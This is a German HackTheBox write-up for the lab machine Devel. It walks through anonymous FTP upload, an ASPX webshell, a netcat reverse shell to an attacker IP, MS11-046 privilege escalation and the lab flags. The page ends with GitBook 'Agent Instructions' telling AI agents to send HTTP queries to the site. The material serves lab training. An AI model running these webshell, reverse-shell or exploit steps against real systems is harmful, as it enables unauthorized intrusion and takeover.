> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Devel HackTheBox Writeup Writeup zur HackTheBox-Easy-Windows-Maschine Devel mit Abdeckung von anonymem FTP, einer ASPX-Webshell, Reverse-Shell-Zugriff und MS11-046-Privilegieneskalation. {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Anonymer FTP-Zugriff * ASPX-Webshell-Upload * Kernel-Privilegieneskalation MS11-046 {% endhint %} ## Aufklärung ### Arbeitsbereich einrichten ```bash mkdir Devel cd !$ ```

### Host-Erkennung Eine TTL von 128 deutet darauf hin, dass das Ziel wahrscheinlich Windows ausführt. ```bash ping -c 1 10.129.5.142 ```

### Port-Scanning Führe einen vollständigen TCP-Scan durch, um offene Ports zu identifizieren: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts ``` Die Ports 21 und 80 sind offen.

Führe einen gezielten Scan durch, um die freigegebenen Dienste zu identifizieren: ```bash nmap -sCV -p80,21 10.129.5.142 -oN targeted ```

## Erstzugriff ### Anonymer FTP-Zugriff FTP akzeptiert anonyme Authentifizierung und verweist auf den Webserver auf Port 80. Liste das FTP-Verzeichnis nach der Authentifizierung auf: ```bash ftp anonymous@10.129.5.142 ls ``` Das Verzeichnis enthält `aspnet_client`, `iisstart.htm`, und `welcome.png`. Dies sind standardmäßige IIS-Web-Root-Dateien. Der Webserver zeigt das Standard- `welcome.png` Bild.

Erstelle lokal eine Testdatei und lade sie hoch, um Schreibrechte zu überprüfen: ```bash echo test > test.txt put test.txt ``` Der Upload war erfolgreich. Der Zugriff auf `http://10.129.5.142/test.txt` bestätigt, dass FTP-Uploads von IIS bereitgestellt werden.

### ASPX-Webshell {% embed url="" %} Lade die ASPX-Webshell herunter: ```bash wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx ``` Lade sie per FTP hoch: ```bash put aspx_cmd.aspx ```

Öffnen `http://10.129.5.142/aspx_cmd.aspx` um Befehle auszuführen. Die Webshell ermöglicht die Ausführung von Remote-Befehlen: ```bash whoami iis apppool\web ```

### Reverse Shell Kopiere `nc.exe` in das aktuelle Verzeichnis. Diese Binärdatei erstellt die interaktive Windows-Shell: ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` Starte einen SMB-Server, um die ausführbare Datei freizugeben: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Starte einen Listener auf Port 4444: ```bash sudo rlwrap nc -nvlp 4444 ``` Führe diese Befehle über die Webshell aus. Der erste Befehl kopiert Netcat aus der SMB-Freigabe. Der zweite stellt die Verbindung zum Listener her: ```bash copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444 ```

Die Shell läuft als `iis apppool\web`. Dieses Konto hat eingeschränkte Rechte. ## Privilegieneskalation ### Systeminformationen ```bash systeminfo ``` Dies offenbart die Windows-Version und Systemdetails.

Das Ziel läuft mit Windows 7 Enterprise. ### MS11-046 `systeminfo` identifiziert Windows 7 Enterprise, Build `7600`. Diese ungepatchte Version ist ein Kandidat für bekannte lokale Kernel-Exploits. MS11-046 ist eine lokale Vulnerability zur Privilegieneskalation. Sie benötigt bereits vorhandene Codeausführung auf dem Host. Sie nutzt SMB nicht aus der Ferne aus. Verwende den Kernel-Exploit MS11-046: {% embed url="" %} Klone das Exploit-Repository: ```bash git clone https://github.com/SecWiki/windows-kernel-exploits ``` Wechsle in das Exploit-Verzeichnis: ```bash cd windows-kernel-exploits/MS11-046 ``` Gib die ausführbare Datei per SMB für das Ziel frei: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Kopiere die ausführbare Datei aus der Windows-Shell in ein beschreibbares Verzeichnis: ```bash copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe ```

Bestätige den aktuellen Benutzer und führe dann den Exploit aus: ```bash whoami iis apppool\web ``` ```bash .\ms11-046.exe ``` Der Exploit liefert eine `NT AUTHORITY\SYSTEM` Shell: ```bash whoami nt authority\system ```

## Flags ```bash type c:\Users\babis\Desktop\user.txt 0efea4c5e140c594ce1ca88594b3d7dc type c:\Users\Administrator\Desktop\root.txt 3d360ef3c74b5936a51971a8f7383c11 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.